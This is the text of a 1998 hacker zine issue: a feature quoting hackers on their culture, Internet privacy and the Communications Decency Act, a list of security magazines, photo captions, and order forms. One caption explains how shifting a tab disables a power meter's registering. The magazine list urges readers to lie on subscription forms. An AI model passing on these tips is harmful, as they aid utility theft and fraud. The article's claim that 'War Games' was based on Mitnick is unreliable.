"The word 'hacker' is such a vague term nowadays because there are the old school hackers and crackers who worked from old Atari computers, the kids who broke into school accounts from their campus library computer labs, and then these newbie commercial provider hacks from America Online (AOL) who think they can take over the Defense Department with a s simple command," says Matrix, a veteran hacker and college graduate student studying at the University of Colorado. "A hacker could be considered a martyr and a madman by two different people. Personally, I think hackers have transcended their original definition of someone who merely tinkers with electronics to the cyberpunk who promotes the decentralization of all information."

However, when most people think of the word "hacker" they don't think of a savior who distributes information the public has a right to know, but unstead a picture of an angry youth hunched over his computer waiting to sneak into a bank's computer or government file with a stolen password or by finding a backdoor in a program. The media portrays most hackers to be like the hacker in the hit movie "War Games" based on the notorious hacker, Kevin Mitnick, who broke into the Defense Departments computer system. Rarely does the hacker community have an opportunity to dispell the stereotypes the public and media create. Many hackers feel as though they are used as scapegoats or lumped together as bunch of cyber space criminals.

"Most hackers get a bad reputation due to the idiotic new hackers that think hacking is all about breaking into a system and destroying/stalking information for personal tangible profit," says Zalchgar, a veteran Internet hacker. "A true hacker may indeed break into a system and 'steal' information, but the information is only used for personal learning. A large part of hacking is not the break in or the 'stealing', it's the learning of the system, its holes, and its uses."

"Hackers get a bad rep because ethey are a threat to power."

Now with the growing acceptance of the Internet into the daily lives of millions of people, the hacker community is also becoming and important element on the Information Superhighway. Thanks to the Internet, many hackers are using Usenet newsgroups such as alt.2600 and alt.hackers to meet, trade secrets, share phone numbers, and distribute crucial information on subjects such as how to trick parking meters to the basics of running PGP, a popular cryptography software program.

"The Internet is a nirvana for hackers. It allows great conversation and communication between people while holding a wealth of information. Plus, it's an easy way to cover one's tracks," Logik says. "The Internet provides a semi-safe way to promote free information trade."

Other hackers disagree about the reality of safe transmission of information on the Internet. With the recent "communications Decency Act" (S 314) introduced in Congress by Senator James Exon (D-Nebraska), not only will hackers have to fight for the right of privacy in cyberspace communications, but the average Internet user will have to as well. If passed, the proposed act would make anyone who "makes, transmits, or otherwise makes available any comment, request, suggestion, proposal, image, or other communication" that is "obscene, lewd, lascivious, filthy, or indecent" a "telecommunications device" a criminal under the law.

"Internet users around the country will have to fight this bill and bills like it that are designed to restrict the freedom on the Internet, subsequently taking away our First Amendment rights," says Stephen Orsinger, a hacker and social engineer from San Antonio, TX.

For some hackers privacy on the Internet is laughable. "What is privacy?" asks Xenon, a freelance VB programmer and hacker. "These are all 'Federal Interest Computers' when you get down to it. The US Government gave birth to the Net. Thos universities didn't pay for thei 180MHz, 500Meg RAM and 9gig hard disc space Sparc stations, the government funded them. Besides, traffic analysis is very revealing. If they know WHO you're talking to, WHAT you're saying, or not saying, won't matter."

So with bills in Congress debating the future censoring of the Internet, and privacy being protected by PGP or violated by various government groups, what's a hacker to do? "There is plenty of hacking to be done on the Internet," Zalchgar says. "But the Internet is not only used for hacking, it's original purpose is still intact, to gather information and redistribute. Before one can hack the Internet, one needs to know how to find information in order for it to be useful."

Some hackers, such as Matt Thomlinson, skip newsgroups and create reference home pages on the World Wide Web for veterans and newbies to learn about cryptography adn computer coding. Thomlinson's WWW Directory for Cypherpunks is one of the multitudes of home pages (hyperlinked text, sound, and images) made exclusively for the hacking community. "I put together a directory of files I had sucked off mailing lists over two years and put them up on a Web page," Thomlinson says. Thomlinson started the
home page because he says the Internet was changing at such a rate it was difficult to find quality information for hackers and cyberpunks to use.

"A few years ago the Internet was a geeky like network where you got as much talk about Unix and Perl as you do '90210' and Ruch Limbaugh today. It was mostly made up of educational institutions and was a nice academic resource - you could get questions answered, find people working on similar problems, or look information up." Thomlinson says. Nowadays the Net is a place to hang out and gab about talk shows. The talk about Unix still exists, but it's getting drown out by newbies who ask unresearched questions. This in turn cuts down on the number of expert programmers hanging around. Who wants to spend their time reading the same .cshrc question 600 times?" Many of the older hackers such as Thomlinson create home pages for newbies who have basic questions that seem to go unanswered on the newsgroups.

The hacker persona is as vast and complicated as the Internet itself. There are those hackers who want access and information to be free to the public. There are those who flame newbie hackers, and those who desire to learn more. The hacker is more than just a kid snooping around private files. Ther use the Internet to share experiences and learn from each other. "On the Internet, there are a limited number of things to hack, but in no way do I see it as an over-hyped wasteland," Orsinger says. "The day will never come when someone can't find something on the Internet to hack."

---

**THE OTHER SIDE OF THE STREET**

*By Algernon*

As most of us know, hacking zines are great ways to keep abreast on the latest trends and methods in the computer underground. Far too often, however, the hacker community neglects "legitimate" security magazines aimed at system administrators. Not only is reading these magazines a great method to find out how system administrators are combating your efforts, but you can also find little tidbits of information that you simply can't find anywhere else. Here's a list of magazines related to computer security followed by a brief synopsis:

- **ICSA Information Security**
  [http://www.infosecuritymag.com](http://www.infosecuritymag.com)
  - Cost: Free Subscription
  - Synopsis: While not always being particularly informative, each issue proves interesting. They overestimate the hacker threat, but hey, they're trying to sell a product. You can't beat the price.

- **SysAdmin**
  [http://www.samag.com](http://www.samag.com)
  - Cost: $4.95 per issue
  - $39 for 1 year subscription
  - Synopsis: I like this magazine so much that I got a subscription to it. This magazine consistently contains detailed and useful information. I would advise anyone to pick up this magazine and read it.

- **Linux Journal**
  [http://www.linuxjournal.com](http://www.linuxjournal.com)
  - Cost: $5 per issue
  - $22 for 1 year subscription
  - Synopsis: Although this magazine generally is uninformative to the hacker, it is usually interesting. It is a good magazine if you are running Linux and you want to stay current.

- **Sun Expert**
  [http://www.netline.com/sunex](http://www.netline.com/sunex)
  - Cost: Free Subscription
  - Synopsis: I picked this up in a bookstore recently and I liked it. I am still waiting for my free subscription to arrive. It seemed like a good magazine with some pretty detailed information.

- **UNIX Review's Performance Computing**
  [http://www.performancecomputing.com](http://www.performancecomputing.com)
  - Cost: Free Subscription
  - Synopsis: This is an OK magazine that occasionally yields useful information. The price is right. Even if you never find it useful, all you lose is a little mailbox space each month.

- **Secure Computing**
  - Cost: Free Subscription in UK
  - Cost varies for other countries
  - Synopsis: I don't subscribe to this magazine because it is too expensive in the US. Anyone in the UK can check it out for free.

- **HP Professional**
  [http://www.netline.com/hpp](http://www.netline.com/hpp)
  - Cost: Free Subscription
  - Synopsis: I haven't been able to find this magazine in any bookstores, but it seems like a good magazine from the website. If it's not, you don't lose a cent for subscribing.

- **SCO World**
  [http://www.scoworld.com](http://www.scoworld.com)
  - Cost: $22 for 1 year subscription
  - Synopsis: Although I occasionally find this interesting and useful, it doesn't justify the cost of the subscription. Some people, however, really like this magazine.

That's it for this article. I hope that you find these magazines useful tools. Most of the free magazines are "for qualified recipients" so bloat your subscription form (That's correct, I run a networking firm with revenues of one hundred million per year). SHARE THE INFORMATION!
Hey, here’s a few pics showing some stuff that’s of interest to hackerz everywhere. The top left pic is a telephone punch tool. It’s used to push the telephone wires into the junction strips while simultaneously cutting the excess wire for a clean look. The top right pic is some orange labelling tags that we are told are used to label Southern California’s Time Warner (formerly Paragon) customer cable connections. The middle left pic is a that totally awesome 30 piece multi bit tool set we got from TCE Information Systems. Check out their ad on page 33!! The middle right pic is one of those new remote control cutoff power boxes. These boxes are replacing the old hand levers used to manually cut off power to a local area in an emergency. The bottom two picks show the backside of the Duncan Rr81/3 KW HR Power Meter. Take note of the change in position of the little horizontal sliding tab. This disables the power meter. The one on the right with the tab NOT touching both pins is a disabled meter and will not register power consumption.

---

Back issues are $5 each ($6 Canada - $9 Foreign). Please allow 6-8 weeks for delivery of back issues. HURRY, while supplies last.

[ ] Volume 1, Issue 1 - First Quarter - Spring 1998

Please photocopy this page, fill out this Back Issue portion, indicating which issues you want and the quantity you desire. Enclose with payment (check, money order, (ahem) cash or Credit Card Information - photocopy and include card with name/address and any other info you feel necessary. Send order to:

The Hackers Underground Digest - Back Issues.
P.O. Box 2521
Cypress, CA 90630

58 Volume 1 Issue 2 - Fall 1998 THUD
Electronics & Computers Surplus City

EIO is a versatile electronics surplus source associating information with the distribution of electronics, computer and optical materials. We have implemented interactive via e-mail, technical forums on Liquid Crystal Displays, Charge Couple Devices, Stepper Motors, Lasers, Laser Light Shows, Microcontrollers, Holography, Fiber Optics, Electro-Optics and ECSC Products with many more forums to come. We boldly supply links to competitors, revealing alternate and additional sources of surplus electronics, along with providing a rich listing of information on events (trade shows, swap meets, conferences, etc.) and resources such as web sites, magazines, newsgroups, and information of interest to the technologically inclined.

Electronics and Computers Surplus City (ECSC)
1490 W. Artesia Blvd, Gardena, CA 90248
(800) 543-0540, (310) 217-8021 FAX:(310) 217-0950
Store Hours: Mon. through Sat., 10 AM - 6 PM
http://www.eio.com/

SUBSCRIBE TODAY!

THUD Magazine Subscription Card

We suggest that you photocopy this coupon, fill it out and send it to us in the mail with your payment option.

( ) Please send me a 1 year subscription of THUD Magazine (4 quarterly issues) for $20
( ) Please send me a 2 year subscription of THUD Magazine (8 quarterly issues) for $40
( ) Please send me a 3 year subscription of THUD Magazine (12 quarterly issues) for $54 (10% discount)

( ) My Check is enclosed ( ) Money Order enclosed ( ) Bill my Credit Card:
   ( ) MasterCard ( ) Visa ( ) American Express ( ) Discover

Name: ___________________________ Company: ___________________________
Address: ________________________ City: __________________ St: __________ Zip: __________
Card#: __________________________ Exp Date: _________ Phone: _________
Signature: ________________________ DL#: ____________________________
(Required for credit card purchases)

E-Mail Address: ____________________

THUD Magazine
P.O. Box 2521
Cypress, CA 90630
